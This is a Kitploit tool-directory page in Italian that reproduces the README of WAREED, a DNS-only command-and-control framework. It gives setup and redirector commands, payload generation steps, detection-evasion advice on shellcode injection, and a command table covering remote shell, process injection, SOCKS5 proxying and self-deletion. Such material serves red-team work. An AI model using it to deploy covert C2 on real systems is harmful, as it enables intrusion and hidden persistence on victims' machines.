Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
WAREED-DNS-C2 — Framework di comando e controllo basato esclusivamente su DNS con agente Windows, generazione di payload, esecuzione di shell remota, iniezione di shellcode e supporto proxy SOCKS5 per operazioni clandestine. | Kitploit
Strumenti/GitHubGitHub/faisal-p27/wareed-dns-c2
Generazione di PayloadEvasione IDS/IPSPost-ExploitCommand and ControlStrumento di Accesso RemotoSviluppo Payload
GitHubfaisal-p27/wareed-dns-c2

WAREED-DNS-C2

Framework di comando e controllo basato esclusivamente su DNS con agente Windows, generazione di payload, esecuzione di shell remota, iniezione di shellcode e supporto proxy SOCKS5 per operazioni clandestine.

Vedi Repository
126341 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Wareed DNS C2

enter image description here

WAREED è un Command and Control (C2) che utilizza il protocollo DNS per comunicazioni sicure tra il server e il target. Progettato per ridurre al minimo le comunicazioni e limitare lo scambio di dati, è pensato per essere un C2 di primo stadio per persistere su macchine che non hanno accesso a internet via HTTP/HTTPS, ma dove il DNS è consentito.

sviluppato da : @Fsalabduljabbar

Come funziona

enter image description here

Perché Wareed

Mentre molti framework Command and Control (C2) supportano il DNS come protocollo di trasporto, sono prevalentemente progettati per HTTP/HTTPS. Adattare questi framework al DNS spesso comporta operazioni più lente e meno stabili. Avendo affrontato numerose sfide legate all'instabilità di questi framework per le transazioni DNS, sono stato costretto a creare una soluzione specificamente su misura per il DNS. Il risultato è Wareed: un framework C2 esclusivamente DNS. Questa specializzazione produce un funzionamento più stabile ed efficiente, rendendo Wareed più veloce e affidabile rispetto ai framework C2 tradizionali che non sono progettati principalmente per il DNS. Questo rende Wareed una scelta ideale per ambienti in cui il traffico DNS è consentito ma HTTP/HTTPS è limitato.

Informazioni

È stato sviluppato utilizzando tre linguaggi di programmazione:

  1. Hams Agent in C
  2. Wareed Team server in Golang
  3. Ather Client GUI in C++

Spiegazione dei nomi:

Hams (همس) significa "sussurro" in arabo

Wareed (وريد) significa "vena" in arabo

Ather (أثر) significa "traccia" in arabo

Demo

IMAGE ALT TEXT HERE

Prerequisiti

  1. Un nome di dominio valido e controllato
  2. Kali Linux 2023+ o Ubuntu 23+
  3. Un redirector (Ubuntu) per gestire le connessioni DNS (opzionale)

Installazione

Passo 1: Clona il repository Wareed:

root@kitploit:~
git clone https://github.com/Faisal-P27/WAREED-DNS-C2.git

Passo 2: Esegui lo script di setup:

root@kitploit:~
cd WAREED-DNS-C2
chmod +x Run.sh
sudo ./Run.sh setup

Se il processo di compilazione viene completato correttamente, verranno generati due file eseguibili nella stessa directory:

  • WareedServer: questo file funge da eseguibile per il team server
  • Ather: questo file è l'eseguibile per il client GUI.

Inoltre, verificherà lo stato di compilazione dell'Agent. Se ha successo, conferma che l'Agent è pronto per essere distribuito e operativo, il che è fondamentale per il funzionamento del C2 Wareed.

Configurazione

root@kitploit:~
{
    "magic_value": "cdn",
    "domains": ["2.example.net"],
    "listener_port": "111",
    "sleep": 5,
    "jitter": 50,
    "lookup_delay": 5,
    "default_dns_server": "1.1.1.1"
}
  • magic_value: un identificatore univoco utilizzato dal C2.
  • domains: un array di nomi di dominio utilizzati dal C2 per le comunicazioni DNS.
  • listener_port: il numero di porta su cui il team server DNS ascolta le connessioni in ingresso.
  • sleep: il ritardo di base tra le richieste di attività.
  • jitter: una percentuale che aggiunge casualità agli intervalli di sleep per mascherare i modelli di traffico.
  • lookup_delay (disabilitato): il ritardo prima di eseguire una query DNS per ritmare le richieste DNS ed evitare il rilevamento.
  • default_dns_server: il server DNS specificato per l'uso da parte dell'Agent se il DNS locale non risponde.

magic_value: la lunghezza deve essere uguale a 3.

Infrastruttura DNS

Configurazione DNS: Per far funzionare Wareed, è essenziale possedere un nome di dominio valido. Dopo aver acquisito un dominio, è necessario configurare due record DNS che puntino al Redirector:

  1. Record A: deve essere configurato per puntare all'indirizzo IP del Redirector.
  2. Record NS: deve puntare al record A precedentemente creato.

example

infrastruttura

Configurazione del Redirector: il redirector gestirà il traffico DNS in ingresso sulla porta 53 e lo reindirizzerà al team server. Per ottenere questo risultato, esegui i seguenti comandi iptables sulla macchina redirector (R1):

Accetta richieste DNS:
root@kitploit:~
iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT

Questo comando configura il firewall per accettare pacchetti UDP in ingresso sulla porta 53, che è la porta standard per le richieste DNS.

Reindirizza il traffico DNS:
root@kitploit:~
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination [TeamServer IP]:[teamserver listener port]

Sostituisci [TeamServer IP] con l'indirizzo IP effettivo del tuo team server e [teamserver listener port] con il numero di porta su cui il tuo team server è in ascolto. Questo comando dirige tutto il traffico in arrivo sulla porta 53 all'indirizzo IP e alla porta specificati del team server.

enter image description here

Esegui Wareed

Wareed Team Server

Per avviare il team server Wareed per la prima volta, devi specificare il file di configurazione insieme alla password del client e alla porta su cui il client ascolterà. Usa il seguente comando per eseguire il team server Wareed:

root@kitploit:~
sudo ./WareedServer [Client Password] [Client Port Listener] [Path to configuration file]
  • [Client Password]: sostituisci questo segnaposto con la password che i client utilizzeranno per autenticarsi con il server.
  • [Client Port Listener]: sostituiscilo con il numero di porta su cui il team server ascolterà le connessioni in ingresso dal client.
  • [Path to configuration file]: fornisci il percorso completo del file di configurazione iniziale. Nelle esecuzioni successive, questa configurazione verrà caricata dal database e non sarà necessario specificarla di nuovo.

Ather GUI Client

Per avviare il client GUI Ather, semplicemente:

root@kitploit:~
./Ather

All'esecuzione del comando, apparirà una nuova finestra con una pagina di login.

enter image description here

Dettagli di accesso: nella pagina di login che appare:

  • Username: inserisci il nome utente.
  • Password: inserisci la password corrispondente a quella configurata nella riga di comando del team server.
  • Port: inserisci il numero di porta su cui il team server è in ascolto per le connessioni, come configurato nella riga di comando del team server.
  • IPAddress: inserisci l'indirizzo del team server.

Finestra principale di Wareed: enter image description here

Genera un nuovo payload

Per generare un nuovo payload con il client GUI Ather, segui questi passaggi:

  1. Vai alla generazione del payload:

    • Apri il client GUI.
    • Dalla barra dei menu, vai su Payload > Generate > Windows. Selezionando questa opzione si aprirà una nuova finestra dedicata alla generazione del payload.

enter image description here

  1. Selezione del tipo di payload: Wareed consente la generazione di due tipi di payload: - EXE: un formato di file eseguibile, semplice per la distribuzione. - DLL: una libreria a collegamento dinamico che può essere utilizzata in vari modi. -

Opzioni payload DLL:

  1. Export Function: crea una DLL con funzioni specifiche che attivano le funzionalità dell'agent all'esecuzione.
  2. Process Attachment: produce una DLL che, quando collegata a un processo, attiva immediatamente il payload.

Sessione

Dopo aver generato un nuovo payload, una nuova sessione ospite viene automaticamente registrata presso il team server. Questo processo di registrazione garantisce che solo questa specifica sessione possa connettersi al team server. Utilizza un identificatore univoco e un "magic value" per autenticare e autorizzare la sessione. Questo meccanismo assicura una comunicazione sicura e controllata tra il payload appena generato e il team server. enter image description here

Esegui il payload

Dopo aver eseguito il payload su una macchina Windows, inizierà a generare query DNS per registrarsi presso il team server. Questo processo di registrazione avviene in pochi secondi e in genere comporta la generazione di 3-5 query DNS. enter image description here

Interazione

Per interagire con una sessione, fai clic con il tasto destro sulla sessione desiderata e seleziona "Interact" dal menu contestuale. Questa azione aprirà una nuova scheda con un'interfaccia a terminale. In questo terminale puoi eseguire i comandi enter image description here

Comandi

Nota: il comando inject è semplice ma spesso viene rilevato dai controlli di sicurezza. Per aumentare la furtività, dovresti implementare la tua tecnica di iniezione. Modifica il codice di iniezione in Agent/Source/Core/Tasks/Modules/Injection.c. Ecco un modello di base per personalizzare la funzione di iniezione:

root@kitploit:~
int Inject(unsigned char *ShellCode, int size, int ProcessID) {
	// Aggiungi qui la tua tecnica di iniezione.
	// Riceverai lo shellcode in [unsigned char *ShellCode] e la dimensione dello shellcode in [nt size]
	// e l'ID del processo in [int ProcessID].
 }

Pulisci il database

Per pulire il database, esegui semplicemente il seguente comando nel tuo terminale:

root@kitploit:~
./Run clean

Azioni future

Anche se non ho piani immediati per continuare a investire tempo nel progetto Wareed, è stato un incredibile percorso di apprendimento e mi sono divertito molto. Sono entusiasta di annunciare che sto pianificando di lanciare un nuovo importante progetto, THAWD BAS. Per maggiori informazioni, visita Thawd.io.

Se hai competenze di sviluppo e sei interessato a contribuire a Wareed, ecco un paio di opportunità:

  1. Sviluppare uno Stager Payload che utilizza DNS: c'è un fantastico progetto di @C5pider che fornisce un template di shellcode, un ottimo punto di partenza. Dai un'occhiata a Stardust su GitHub.
  2. Aggiungere un COFF Loader e l'integrazione: integrare un loader COFF (Common Object File Format) nel framework Wareed può migliorare significativamente le sue capacità consentendo il caricamento dinamico e l'esecuzione di moduli binari, aumentando così la flessibilità operativa. Per gli sviluppatori che desiderano implementare questa funzionalità, risorse come Sector7 offrono preziose informazioni sul funzionamento dei loader COFF, e il progetto open-source CoffeeLdr di @C5pider fornisce un esempio pratico di implementazione.

Ringraziamenti speciali

Questo lavoro non sarebbe stato possibile senza il contributo di diversi eccezionali progetti open-source:

Havoc di - @C5pider

DNSStager di - @mohammadaskar2

Boomerang di - @NinjaParanoid

Socks5Server di earthquake

delete-self-poc di - @LloydLabs

Scarica lo strumento
CommandDescriptionUsageExample
helpMostra il messaggio di aiuto del comando specificato[command]help shell
sleepImposta il ritardo di sleep con jitter[delay] [jitter]sleep 10 50
shellEsegue i comandi di cmd.exe e restituisce l'output[commands]shell dir c:\windows\system32 (per favore, non farlo)
injectInietta shellcode in un processo remoto[pid] [shellcode_path]inject 1234 /path/to/shellcode.bin
proxystartAvvia un proxy SOCKS5[callback_host] [agent_connect_port] [proxy_listener_port]proxystart example.com 443 1080
proxystopFerma un proxy SOCKS5[callback_host] [agent_connect_port] [proxy_listener_port]proxystop example.com 443 1080
adddomainAggiunge un nuovo dominio di callback[domain_name]adddomain example.com
deldomainElimina un dominio di callback[domain_name]deldomain example.com
listdomainElenca tutti i domini di callback attivilistdomain
killTermina il processo corrente.[yes]kill yes
wipeTermina ed elimina il processo corrente.[yes]wipe yes
selfdelElimina il processo corrente dal disco.[yes]selfdel yes
tasklistElenca tutte le attività in codatasklist
taskdelElimina un'attività specifica tramite ID[task id]taskdel 123
taskscleanElimina tutte le attività in coda[yes]tasksclean yes
clearPulisce lo schermo del terminaleclear